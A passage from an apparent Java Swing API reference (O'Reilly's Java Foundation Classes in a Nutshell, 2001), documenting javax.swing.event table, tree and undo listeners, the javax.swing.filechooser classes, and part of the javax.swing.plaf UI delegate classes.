This interface defines the methods that an object must implement to receive notifications of changes in a javax.swing.table.TableColumnModel. Note that unlike most event listeners, the methods of this object are passed different types of event objects.

public abstract interface TableColumnModelListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void columnAdded (TableColumnModelEvent e);
 | public abstract void columnMarginChanged (ChangeEvent e);
 | public abstract void columnMoved (TableColumnModelEvent e);
 | public abstract void columnRemoved (TableColumnModelEvent e);
 | public abstract void columnSelectionChanged (ListSelectionEvent e);
}

Hierarchy: (TableColumnModelListener(java.util.EventListener))

Implementations: JTable, JTable.AccessibleJTable, javax.swing.table.JTableHeader

Passed To: javax.swing.table.DefaultTableColumnModel.{addColumnModelListener(), removeColumnModelListener()}, javax.swing.table.TableColumnModel.{addColumnModelListener(), removeColumnModelListener()}

TableModelEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated by a javax.swing.table.TableModel when the data it contains changes. getColumn() indicates the column that changed; it may return the constant ALL_COLUMNS. getFirstRow() and getLastRow() get the range of modified rows. If either returns the constant HEADER_ROW, that indicates that the entire structure of the table has changed along with the table data. getType() specifies the type of the change; it returns one of the constants DELETE, INSERT, or UPDATE. The inherited getSource() method returns the modified TableModel object.

public class TableModelEvent extends java.util.EventObject {
// | Public Constructors
 | public TableModelEvent (javax.swing.table.TableModel source); |
 | public TableModelEvent (javax.swing.table.TableModel source, int row); |
 | public TableModelEvent (javax.swing.table.TableModel source, int firstRow, int lastRow); |
 | public TableModelEvent (javax.swing.table.TableModel source, int firstRow, int lastRow, int column); |
 | public TableModelEvent (javax.swing.table.TableModel source, int firstRow, int lastRow, int column, int type); |
// | Public Constants
 | public static final int ALL_COLUMNS ; | =-1
 | public static final int DELETE ; | =-1
 | public static final int HEADER_ROW ; | =-1
 | public static final int INSERT ; | =1
 | public static final int UPDATE ; | =0
// | Property Accessor Methods (by property name)
 | public int getColumn (); |
 | public int getFirstRow (); |
 | public int getLastRow (); |
 | public int getType (); |
// | Protected Instance Fields
 | protected int column ; |
 | protected int firstRow ; |
 | protected int lastRow ; |
 | protected int type ; |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->TableModelEvent

Passed To: JTable.tableChanged(), JTable.AccessibleJTable.{tableChanged(), tableRowsDeleted(), tableRowsInserted()}, TableModelListener.tableChanged(), javax.swing.table.AbstractTableModel.fireTableChanged(), javax.swing.table.DefaultTableModel.{newDataAvailable(), newRowsAdded(), rowsRemoved()}

TableModelListener | Java 1.2
javax.swing.event | event listener

This interface defines the method that an object must implement to receive notifications about changes to the state of a javax.swing.table.TableModel.

public abstract interface TableModelListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void tableChanged (TableModelEvent e);
}

Hierarchy: (TableModelListener(java.util.EventListener))

Implementations: JTable, JTable.AccessibleJTable

Passed To: javax.swing.table.AbstractTableModel.{addTableModelListener(), removeTableModelListener()}, javax.swing.table.TableModel.{addTableModelListener(), removeTableModelListener()}

TreeExpansionEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated by a JTree component when a node in the tree is expanded or collapsed. The inherited getSource() method returns the JTree component, and getPath() returns a TreePath that specifies which node was expanded or collapsed.

public class TreeExpansionEvent extends java.util.EventObject {
// | Public Constructors
 | public TreeExpansionEvent (Object source, javax.swing.tree.TreePath path);
// | Public Instance Methods
 | public javax.swing.tree.TreePath getPath ();
// | Protected Instance Fields
 | protected javax.swing.tree.TreePath path ;
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->TreeExpansionEvent

Passed To: JTree.AccessibleJTree.{treeCollapsed(), treeExpanded()}, TreeExpansionListener.{treeCollapsed(), treeExpanded()}, TreeWillExpandListener.{treeWillCollapse(), treeWillExpand()}, javax.swing.tree.ExpandVetoException.ExpandVetoException()

Type Of: javax.swing.tree.ExpandVetoException.event

TreeExpansionListener | Java 1.2
javax.swing.event | event listener

This interface defines the methods that an object must implement to be notified when a JTree component expands or collapses a node.

public abstract interface TreeExpansionListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void treeCollapsed (TreeExpansionEvent event);
 | public abstract void treeExpanded (TreeExpansionEvent event);
}

Hierarchy: (TreeExpansionListener(java.util.EventListener))

Implementations: JTree.AccessibleJTree

Passed To: JTree.{addTreeExpansionListener(), removeTreeExpansionListener()}

TreeModelEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated when the contents of a java.awt.event.tree.TreeModel change. The inherited getSource() method returns the TreeModel object that was changed. getPath() and getTreePath() specify the path to the parent of the changed nodes. getChildIndices() returns an array of integers that specifies which children of that parent node have changed. Alternatively, getChildren() returns the modified children directly. TreeModelEvent does not directly indicate what type of change has occurred; that is determined by the TreeModelListener method to which the TreeModelEvent is passed.

public class TreeModelEvent extends java.util.EventObject {
// | Public Constructors
 | public TreeModelEvent (Object source, Object[ ] path);
 | public TreeModelEvent (Object source, javax.swing.tree.TreePath path);
 | public TreeModelEvent (Object source, javax.swing.tree.TreePath path, int[ ] childIndices, Object[ ] children);
 | public TreeModelEvent (Object source, Object[ ] path, int[ ] childIndices, Object[ ] children);
// | Property Accessor Methods (by property name)
 | public int[ ] getChildIndices ();
 | public Object[ ] getChildren ();
 | public Object[ ] getPath ();
 | public javax.swing.tree.TreePath getTreePath ();
// | Public Methods Overriding EventObject
 | public String toString ();
// | Protected Instance Fields
 | protected int[ ] childIndices ;
 | protected Object[ ] children ;
 | protected javax.swing.tree.TreePath path ;
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->TreeModelEvent

Passed To: Too many methods to list.

TreeModelListener | Java 1.2
javax.swing.event | event listener

This interface defines the methods that an object must implement to receive notifications of changes to a javax.swing.tree.TreeModel.

public abstract interface TreeModelListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void treeNodesChanged (TreeModelEvent e);
 | public abstract void treeNodesInserted (TreeModelEvent e);
 | public abstract void treeNodesRemoved (TreeModelEvent e);
 | public abstract void treeStructureChanged (TreeModelEvent e);
}

Hierarchy: (TreeModelListener(java.util.EventListener))

Implementations: JTree.AccessibleJTree, JTree.TreeModelHandler

Passed To: javax.swing.tree.DefaultTreeModel.{addTreeModelListener(), removeTreeModelListener()}, javax.swing.tree.TreeModel.{addTreeModelListener(), removeTreeModelListener()}

Returned By: JTree.createTreeModelListener()

Type Of: JTree.treeModelListener

TreeSelectionEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated by a javax.swing.tree.TreeSelectionModel or by the JTree component that uses that model when the selection state of the tree changes. getPaths() returns the array of javax.swing.tree.TreePath objects that were added to or removed from the selection. getPath() returns the first element of this array. The one-argument version of isAddedPath() tests whether a specified TreePath (it must be one of the ones returned by getPaths()) was added to the selection (true) or removed from it (false). The no-argument version of this method tests whether the value returned by getPath() was selected or deselected.

public class TreeSelectionEvent extends java.util.EventObject {
// | Public Constructors
 | public TreeSelectionEvent (Object source, javax.swing.tree.TreePath[ ] paths, boolean[ ] areNew, javax.swing.tree.TreePath oldLeadSelectionPath, javax.swing.tree.TreePath newLeadSelectionPath);
 | public TreeSelectionEvent (Object source, javax.swing.tree.TreePath path, boolean isNew, javax.swing.tree.TreePath oldLeadSelectionPath, javax.swing.tree.TreePath newLeadSelectionPath);
// | Property Accessor Methods (by property name)
 | public boolean isAddedPath ();
 | public boolean isAddedPath (javax.swing.tree.TreePath path);
 | public javax.swing.tree.TreePath getNewLeadSelectionPath ();
 | public javax.swing.tree.TreePath getOldLeadSelectionPath ();
 | public javax.swing.tree.TreePath getPath ();
 | public javax.swing.tree.TreePath[ ] getPaths ();
// | Public Instance Methods
 | public Object cloneWithSource (Object newSource);
// | Protected Instance Fields
 | protected boolean[ ] areNew ;
 | protected javax.swing.tree.TreePath newLeadSelectionPath ;
 | protected javax.swing.tree.TreePath oldLeadSelectionPath ;
 | protected javax.swing.tree.TreePath[ ] paths ;
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->TreeSelectionEvent

Passed To: JTree.fireValueChanged(), JTree.AccessibleJTree.valueChanged(), JTree.TreeSelectionRedirector.valueChanged(), TreeSelectionListener.valueChanged(), javax.swing.tree.DefaultTreeCellEditor.valueChanged(), javax.swing.tree.DefaultTreeSelectionModel.fireValueChanged()

TreeSelectionListener | Java 1.2
javax.swing.event | event listener

This interface defines the method that an object must implement to receive notifications about changes to the selection state of a javax.swing.tree.TreeSelectionModel object or JTree component.

public abstract interface TreeSelectionListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void valueChanged (TreeSelectionEvent e);
}

Hierarchy: (TreeSelectionListener(java.util.EventListener))

Implementations: JTree.AccessibleJTree, JTree.TreeSelectionRedirector, javax.swing.tree.DefaultTreeCellEditor

Passed To: JTree.{addTreeSelectionListener(), removeTreeSelectionListener()}, javax.swing.tree.DefaultTreeSelectionModel.{addTreeSelectionListener(), removeTreeSelectionListener()}, javax.swing.tree.TreeSelectionModel.{addTreeSelectionListener(), removeTreeSelectionListener()}

TreeWillExpandListener | Java 1.2
javax.swing.event | event listener

This interface defines the methods that JTree invokes on registered listeners immediately before it expands or collapses a node. Do not confuse this interface with TreeExpansionListener, which is notified immediately after a node is expanded or collapsed. Both listeners share the same TreeExpansionEvent event type, however. Note that the methods of this interface can throw an ExpandVetoException to veto the proposed expansion or collapse of the node.

public abstract interface TreeWillExpandListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void treeWillCollapse (TreeExpansionEvent event) throws javax.swing.tree.ExpandVetoException;
 | public abstract void treeWillExpand (TreeExpansionEvent event) throws javax.swing.tree.ExpandVetoException;
}

Hierarchy: (TreeWillExpandListener(java.util.EventListener))

Passed To: JTree.{addTreeWillExpandListener(), removeTreeWillExpandListener()}

UndoableEditEvent | Java 1.2
javax.swing.event | serializable event

An event of this type is generated by a javax.swing.text.Document when an undoable edit has occurred. The inherited getSource() method returns the Document object on which the edit occurred, and getEdit() returns a description of the edit itself.

public class UndoableEditEvent extends java.util.EventObject {
// | Public Constructors
 | public UndoableEditEvent (Object source, javax.swing.undo.UndoableEdit edit);
// | Public Instance Methods
 | public javax.swing.undo.UndoableEdit getEdit ();
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->UndoableEditEvent

Passed To: UndoableEditListener.undoableEditHappened(), javax.swing.text.AbstractDocument.fireUndoableEditUpdate(), javax.swing.text.html.HTMLDocument.fireUndoableEditUpdate(), javax.swing.undo.UndoManager.undoableEditHappened()

UndoableEditListener | Java 1.2
javax.swing.event | event listener

This interface defines the method that an object must implement in order to receive notifications when an undoable edit occurs in a javax.swing.text.Document.

public abstract interface UndoableEditListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void undoableEditHappened (UndoableEditEvent e);
}

Hierarchy: (UndoableEditListener(java.util.EventListener))

Implementations: javax.swing.undo.UndoManager

Passed To: javax.swing.text.AbstractDocument.{addUndoableEditListener(), removeUndoableEditListener()}, javax.swing.text.Document.{addUndoableEditListener(), removeUndoableEditListener()}, javax.swing.undo.UndoableEditSupport.{addUndoableEditListener(), removeUndoableEditListener()}

Previous | Home | Next
25.1. The javax.swing.colorchooser Package | Book Index | 27. The javax.swing.filechooser Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.filechooser Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 27. The javax.swing.filechooser Package

The javax.swing.filechooser package defines auxiliary classes used by the javax. swing.JFileChooser component. You can customize the behavior of a JFileChooser by defining concrete subclasses of these abstract classes. Define a FileFilter to specify what files should be displayed by the JFileChooser. Define a FileView to specify how it should display those classes. And define a FileSystemView to specify how it should traverse the file system. Figure 27-1 shows the class hierarchy of this package.

Figure 27-1. The javax.swing.filechooser package

FileFilter Java 1.2
javax.swing.filechooser

This abstract class defines the methods used by the JFileChooser component to select a subset of files for display. When the accept() method is passed a File object, it should return true if that file should be displayed by the JFileChooser and false otherwise. accept() often makes its determination based on the filename extension, but it can also take other factors into account, such as the readability and writability of the file. The getDescription() method must return a human-readable description (preferably localized for the current locale) of the filtering operation performed by the filter. For example, if a FileFilter accepts files that end with extensions .gif, .jpg, and .png, the getDescription() method might return the string "Image files".

Once you have created a FileFilter, you can tell a JFileChooser to use it by passing the filter to the setFileFilter() method. If you want to allow the user to choose among a set of file filters, pass the FileFilter objects to the addChooseableFileFilter() method of JFileChooser. Do not confuse javax.swing.filechooser.FileFilter with its less-powerful relative, java.io.FilenameFilter.

public abstract class FileFilter {
// | Public Constructors
 | public FileFilter ();
// | Public Instance Methods
 | public abstract boolean accept (java.io.File f);
 | public abstract String getDescription ();
}

Passed To: JFileChooser.{addChoosableFileFilter(), removeChoosableFileFilter(), setFileFilter()}

Returned By: JFileChooser.{getAcceptAllFileFilter(), getChoosableFileFilters(), getFileFilter()}, javax.swing.plaf.FileChooserUI.getAcceptAllFileFilter()

FileSystemView Java 1.2
javax.swing.filechooser

FileSystemView abstracts the system dependencies of the native filesystem and provides a platform-independent view of the filesystem for the JFileChooser component. As of Java 1.2, the features of FileSystemView are provided directly by the java.io.File class, so this class exists for portability to Java 1.1 systems.

You can obtain the FileSystemView object for the current platform by calling the static getFileSystemView() method. The getRoots() method returns a list of root directories for the system. For Unix systems, there is only one, the / directory. On Windows systems, however, there is a root directory for each active drive letter. Use getHomeDirectory() to obtain a user's home directory on systems that have such a concept. Use isHiddenFile() to determine if a file is a hidden file according to the conventions of the native platform. Use getFiles() to list the contents of a directory, optionally omitting hidden files.

public abstract class FileSystemView {
// | Public Constructors
 | public FileSystemView ();
// | Public Class Methods
 | public static FileSystemView getFileSystemView ();
// | Property Accessor Methods (by property name)
 | public java.io.File getHomeDirectory ();
 | public abstract java.io.File[ ] getRoots ();
// | Public Instance Methods
 | public java.io.File createFileObject (String path);
 | public java.io.File createFileObject (java.io.File dir, String filename);
 | public abstract java.io.File createNewFolder (java.io.File containingDir) throws java.io.IOException;
 | public java.io.File[ ] getFiles (java.io.File dir, boolean useFileHiding);
 | public java.io.File getParentDirectory (java.io.File dir);
 | public abstract boolean isHiddenFile (java.io.File f);
 | public abstract boolean isRoot (java.io.File f);
}

Passed To: JFileChooser.{JFileChooser(), setFileSystemView(), setup()}

Returned By: JFileChooser.getFileSystemView(), FileSystemView.getFileSystemView()

FileView Java 1.2
javax.swing.filechooser

This abstract class defines methods that the JFileChooser component uses to obtain information about how it should display a file. JFileChooser uses a FileView object provided by the current look-and-feel implementation to provide such things as the default icons for files and directories. You can implement your own FileView object to override some or all of the default behavior of the FileView provided by a look-and-feel. To do so, pass your FileView to the setFileView() method of the JFileChooser. The JFileChooser always queries your FileView object first, but when any of your methods return null, it calls the corresponding method of the look-and-feel FileView. By far, the most common reason to create a custom FileView class is to implement the getIcon() method to return custom icons for specific types of files. The other methods of FileView are not so commonly used.

public abstract class FileView {
// | Public Constructors
 | public FileView ();
// | Public Instance Methods
 | public abstract String getDescription (java.io.File f);
 | public abstract Icon getIcon (java.io.File f);
 | public abstract String getName (java.io.File f);
 | public abstract String getTypeDescription (java.io.File f);
 | public abstract Boolean isTraversable (java.io.File f);
}

Passed To: JFileChooser.setFileView()

Returned By: JFileChooser.getFileView(), javax.swing.plaf.FileChooserUI.getFileView()

Previous | Home | Next
26.1. The javax.swing.event Package | Book Index | 28. The javax.swing.plaf Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.plaf Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 28. The javax.swing.plaf Package

This package contains classes and interfaces used in the definition of a pluggable look-and-feel (hence the acronym "plaf"). It defines abstract UI delegate classes for Swing components. Typically, only look-and-feel developers and advanced component developers need to use this package. Figure 28-1 shows the class hierarchy of this package. See Chapter 3, "Swing Programming Topics", for further discussion of Swing's pluggable look-and-feel architecture.

The javax.swing.plaf.basic package contains classes that extend the UI delegate classes of this package to create a basic pluggable look-and-feel UI framework. The classes in javax.swing.plaf.metal extend the classes of javax.swing.plaf.basic to implement the default Java look-and-feel. The classes in javax.swing.plaf.multi also extend the abstract classes of javax.swing.plaf to produce a multiplexing look-and-feel that combines a primary look-and-feel with one or more auxiliary look-and-feel implementations. These various subpackages of javax.swing.plaf are not documented in this book because they are very infrequently used and because they are straightforward implementations of the classes in this package that do not define any new public APIs.

Figure 28-1. The javax.swing.plaf package

BorderUIResource | Java 1.2
javax.swing.plaf | serializable

This class implements the UIResource marker interface and serves as a wrapper around an existing javax.swing.border.Border object. It differs from other UIResource implementations in this package, in that it does not subclass an existing resource type. In addition, this class includes inner classes that provide UIResource versions of the standard Swing border classes. Several static methods exist for obtaining shared instances of commonly used UIResource borders.

public class BorderUIResource implements javax.swing.border.Border, Serializable, UIResource {
// | Public Constructors
 | public BorderUIResource (javax.swing.border.Border delegate);
// | Inner Classes
 | ;
 | ;
 | ;
 | ;
 | ;
 | ;
 | ;
// | Public Class Methods
 | public static javax.swing.border.Border getBlackLineBorderUIResource ();
 | public static javax.swing.border.Border getEtchedBorderUIResource ();
 | public static javax.swing.border.Border getLoweredBevelBorderUIResource ();
 | public static javax.swing.border.Border getRaisedBevelBorderUIResource ();
// | Methods Implementing Border
 | public java.awt.Insets getBorderInsets (Component c);
 | public boolean isBorderOpaque ();
 | public void paintBorder (Component c, java.awt.Graphics g, int x, int y, int width, int height);
}
BorderUIResource.BevelBorderUIResource | Java 1.2
javax.swing.plaf | serializable

A trivial subclass of BevelBorder that implements the UIResource marker interface.

public static class BorderUIResource.BevelBorderUIResource extends javax.swing.border.BevelBorder implements UIResource {
// | Public Constructors
 | public BevelBorderUIResource (int bevelType);
 | public BevelBorderUIResource (int bevelType, java.awt.Color highlight, java.awt.Color shadow);
 | public BevelBorderUIResource (int bevelType, java.awt.Color highlightOuter, java.awt.Color highlightInner, java.awt.Color shadowOuter, java.awt.Color shadowInner);
}
BorderUIResource.CompoundBorderUIResource | Java 1.2
javax.swing.plaf | serializable

A trivial subclass of CompoundBorder that implements the UIResource marker interface.

public static class BorderUIResource.CompoundBorderUIResource extends javax.swing.border.CompoundBorder implements UIResource {
// | Public Constructors
 | public CompoundBorderUIResource (javax.swing.border.Border outsideBorder, javax.swing.border.Border insideBorder);
}
BorderUIResource.EmptyBorderUIResource | Java 1.2
javax.swing.plaf | serializable

A trivial subclass of EmptyBorder that implements the UIResource marker interface.

public static class BorderUIResource.EmptyBorderUIResource extends javax.swing.border.EmptyBorder implements UIResource {
// | Public Constructors
 | public EmptyBorderUIResource (java.awt.Insets insets);
 | public EmptyBorderUIResource (int top, int left, int bottom, int right);
}
BorderUIResource.EtchedBorderUIResource | Java 1.2
javax.swing.plaf | serializable

A trivial subclass of EtchedBorder that implements the UIResource marker interface.

public static class BorderUIResource.EtchedBorderUIResource extends javax.swing.border.EtchedBorder implements UIResource {
// | Public Constructors
 | public EtchedBorderUIResource ();
 | public EtchedBorderUIResource (int etchType);
 | public EtchedBorderUIResource (java.awt.Color highlight, java.awt.Color shadow);
 | public EtchedBorderUIResource (int etchType, java.awt.Color highlight, java.awt.Color shadow);
}
BorderUIResource.LineBorderUIResource | Java 1.2
javax.swing.plaf | serializable

A trivial subclass of LineBorder that implements the UIResource marker interface.

public static class BorderUIResource.LineBorderUIResource extends javax.swing.border.LineBorder implements UIResource {
// | Public Constructors
 | public LineBorderUIResource (java.awt.Color color);
 | public LineBorderUIResource (java.awt.Color color, int thickness);
}
BorderUIResource.MatteBorderUIResource | Java 1.2
javax.swing.plaf | serializable

A trivial subclass of MatteBorder that implements the UIResource marker interface.

public static class BorderUIResource.MatteBorderUIResource extends javax.swing.border.MatteBorder implements UIResource {
// | Public Constructors
 | public MatteBorderUIResource (Icon tileIcon);
 | public MatteBorderUIResource (int top, int left, int bottom, int right, Icon tileIcon);
 | public MatteBorderUIResource (int top, int left, int bottom, int right, java.awt.Color color);
}
BorderUIResource.TitledBorderUIResource | Java 1.2
javax.swing.plaf | serializable

A trivial subclass of TitledBorder that implements the UIResource marker interface.

public static class BorderUIResource.TitledBorderUIResource extends javax.swing.border.TitledBorder implements UIResource {
// | Public Constructors
 | public TitledBorderUIResource (javax.swing.border.Border border);
 | public TitledBorderUIResource (String title);
 | public TitledBorderUIResource (javax.swing.border.Border border, String title);
 | public TitledBorderUIResource (javax.swing.border.Border border, String title, int titleJustification, int titlePosition);
 | public TitledBorderUIResource (javax.swing.border.Border border, String title, int titleJustification, int titlePosition, java.awt.Font titleFont);
 | public TitledBorderUIResource (javax.swing.border.Border border, String title, int titleJustification, int titlePosition, java.awt.Font titleFont, java.awt.Color titleColor);
}
ButtonUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JButton.

public abstract class ButtonUI extends ComponentUI {
// | Public Constructors
 | public ButtonUI ();
}

Subclasses: MenuItemUI

Passed To: AbstractButton.setUI()

Returned By: AbstractButton.getUI()

ColorChooserUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JColorChooser.

public abstract class ColorChooserUI extends ComponentUI {
// | Public Constructors
 | public ColorChooserUI ();
}

Passed To: JColorChooser.setUI()

Returned By: JColorChooser.getUI()

ColorUIResource | Java 1.2
javax.swing.plaf | serializable

A trivial subclass of java.awt.Color that implements the UIResource marker interface.

public class ColorUIResource extends java.awt.Color implements UIResource {
// | Public Constructors
 | public ColorUIResource (java.awt.Color c);
 | public ColorUIResource (int rgb);
 | public ColorUIResource (float r, float g, float b);
 | public ColorUIResource (int r, int g, int b);
}
ComboBoxUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JComboBox.

public abstract class ComboBoxUI extends ComponentUI {
// | Public Constructors
 | public ComboBoxUI ();
// | Public Instance Methods
 | public abstract boolean isFocusTraversable (JComboBox c);
 | public abstract boolean isPopupVisible (JComboBox c);
 | public abstract void setPopupVisible (JComboBox c, boolean v);
}

Passed To: JComboBox.setUI()

Returned By: JComboBox.getUI()

ComponentUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JComponent.

public abstract class ComponentUI {
// | Public Constructors
 | public ComponentUI (); |
// | Public Class Methods
 | public static ComponentUI createUI (JComponent c); |
// | Public Instance Methods
 | public boolean contains (JComponent c, int x, int y); |
 | public Accessible getAccessibleChild (JComponent c, int i); |
 | public int getAccessibleChildrenCount (JComponent c); |
 | public java.awt.Dimension getMaximumSize (JComponent c); |
 | public java.awt.Dimension getMinimumSize (JComponent c); |
 | public java.awt.Dimension getPreferredSize (JComponent c); | constant
 | public void installUI (JComponent c); | empty
 | public void paint (java.awt.Graphics g, JComponent c); | empty
 | public void uninstallUI (JComponent c); | empty
 | public void update (java.awt.Graphics g, JComponent c); |
}

Subclasses: Too many classes to list.

Passed To: JComponent.setUI()

Returned By: UIDefaults.getUI(), UIManager.getUI(), ComponentUI.createUI()

Type Of: JComponent.ui

DesktopIconUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JDesktopIcon.

public abstract class DesktopIconUI extends ComponentUI {
// | Public Constructors
 | public DesktopIconUI ();
}

Passed To: JInternalFrame.JDesktopIcon.setUI()

Returned By: JInternalFrame.JDesktopIcon.getUI()

DesktopPaneUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JDesktopPane.

public abstract class DesktopPaneUI extends ComponentUI {
// | Public Constructors
 | public DesktopPaneUI ();
}

Passed To: JDesktopPane.setUI()

Returned By: JDesktopPane.getUI()

DimensionUIResource | Java 1.2
javax.swing.plaf | cloneable serializable

A trivial subclass of java.awt.Dimension that implements the UIResource marker interface.

public class DimensionUIResource extends java.awt.Dimension implements UIResource {
// | Public Constructors
 | public DimensionUIResource (int width, int height);
}
FileChooserUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JFileChooser.

public abstract class FileChooserUI extends ComponentUI {
// | Public Constructors
 | public FileChooserUI ();
// | Public Instance Methods
 | public abstract void ensureFileIsVisible (JFileChooser fc, java.io.File f);
 | public abstract javax.swing.filechooser.FileFilter getAcceptAllFileFilter (JFileChooser fc);
 | public abstract String getApproveButtonText (JFileChooser fc);
 | public abstract String getDialogTitle (JFileChooser fc);
 | public abstract javax.swing.filechooser.FileView getFileView (JFileChooser fc);
 | public abstract void rescanCurrentDirectory (JFileChooser fc);
}

Returned By: JFileChooser.getUI()

FontUIResource | Java 1.2
javax.swing.plaf | serializable

A trivial subclass of java.awt.Font that implements the UIResource marker interface.

public class FontUIResource extends java.awt.Font implements UIResource {
// | Public Constructors
 | public FontUIResource (java.awt.Font font);
 | public FontUIResource (String name, int style, int size);
}
IconUIResource | Java 1.2
javax.swing.plaf | serializable

A trivial subclass of javax.swing.Icon that implements the UIResource marker interface.

public class IconUIResource implements Icon, Serializable, UIResource {
// | Public Constructors
 | public IconUIResource (Icon delegate);
// | Methods Implementing Icon
 | public int getIconHeight ();
 | public int getIconWidth ();
 | public void paintIcon (Component c, java.awt.Graphics g, int x, int y);
}
InsetsUIResource | Java 1.2
javax.swing.plaf | cloneable serializable

A trivial subclass of java.awt.Insets that implements the UIResource marker interface.

public class InsetsUIResource extends java.awt.Insets implements UIResource {
// | Public Constructors
 | public InsetsUIResource (int top, int left, int bottom, int right);
}
InternalFrameUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JInternalFrame.

public abstract class InternalFrameUI extends ComponentUI {
// | Public Constructors
 | public InternalFrameUI ();
}

Passed To: JInternalFrame.setUI()

Returned By: JInternalFrame.getUI()

LabelUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JLabel.

public abstract class LabelUI extends ComponentUI {
// | Public Constructors
 | public LabelUI ();
}

Passed To: JLabel.setUI()

Returned By: JLabel.getUI()

ListUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JList.

public abstract class ListUI extends ComponentUI {
// | Public Constructors
 | public ListUI ();
// | Public Instance Methods
 | public abstract java.awt.Rectangle getCellBounds (JList list, int index1, int index2);
 | public abstract java.awt.Point indexToLocation (JList list, int index);
 | public abstract int locationToIndex (JList list, java.awt.Point location);
}

Passed To: JList.setUI()

Returned By: JList.getUI()

MenuBarUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JMenuBar.

public abstract class MenuBarUI extends ComponentUI {
// | Public Constructors
 | public MenuBarUI ();
}

Passed To: JMenuBar.setUI()

Returned By: JMenuBar.getUI()

MenuItemUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JMenuItem.

public abstract class MenuItemUI extends ButtonUI {
// | Public Constructors
 | public MenuItemUI ();
}

Passed To: JMenuItem.setUI()

OptionPaneUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JOptionPane.

public abstract class OptionPaneUI extends ComponentUI {
// | Public Constructors
 | public OptionPaneUI ();
// | Public Instance Methods
 | public abstract boolean containsCustomComponents (JOptionPane op);
 | public abstract void selectInitialValue (JOptionPane op);
}

Passed To: JOptionPane.setUI()

Returned By: JOptionPane.getUI()

PanelUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JPanel.

public abstract class PanelUI extends ComponentUI {
// | Public Constructors
 | public PanelUI ();
}
PopupMenuUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JPopupMenu.

public abstract class PopupMenuUI extends ComponentUI {
// | Public Constructors
 | public PopupMenuUI ();
}

Passed To: JPopupMenu.setUI()

Returned By: JPopupMenu.getUI()

ProgressBarUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JProgressBar.

public abstract class ProgressBarUI extends ComponentUI {
// | Public Constructors
 | public ProgressBarUI ();
}

Passed To: JProgressBar.setUI()

Returned By: JProgressBar.getUI()

ScrollBarUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JScrollBar.

public abstract class ScrollBarUI extends ComponentUI {
// | Public Constructors
 | public ScrollBarUI ();
}

Returned By: JScrollBar.getUI()

ScrollPaneUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JScrollPane.

public abstract class ScrollPaneUI extends ComponentUI {
// | Public Constructors
 | public ScrollPaneUI ();
}

Passed To: JScrollPane.setUI()

Returned By: JScrollPane.getUI()

SeparatorUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JSeparator.

public abstract class SeparatorUI extends ComponentUI {
// | Public Constructors
 | public SeparatorUI ();
}

Passed To: JSeparator.setUI()

Returned By: JSeparator.getUI()

SliderUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JSlider.

public abstract class SliderUI extends ComponentUI {
// | Public Constructors
 | public SliderUI ();
}

Passed To: JSlider.setUI()

Returned By: JSlider.getUI()

SplitPaneUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JSplitPane.

public abstract class SplitPaneUI extends ComponentUI {
// | Public Constructors
 | public SplitPaneUI ();
// | Public Instance Methods
 | public abstract void finishedPaintingChildren (JSplitPane jc, java.awt.Graphics g);
 | public abstract int getDividerLocation (JSplitPane jc);
 | public abstract int getMaximumDividerLocation (JSplitPane jc);
 | public abstract int getMinimumDividerLocation (JSplitPane jc);
 | public abstract void resetToPreferredSizes (JSplitPane jc);
 | public abstract void setDividerLocation (JSplitPane jc, int location);
}

Passed To: JSplitPane.setUI()

Returned By: JSplitPane.getUI()

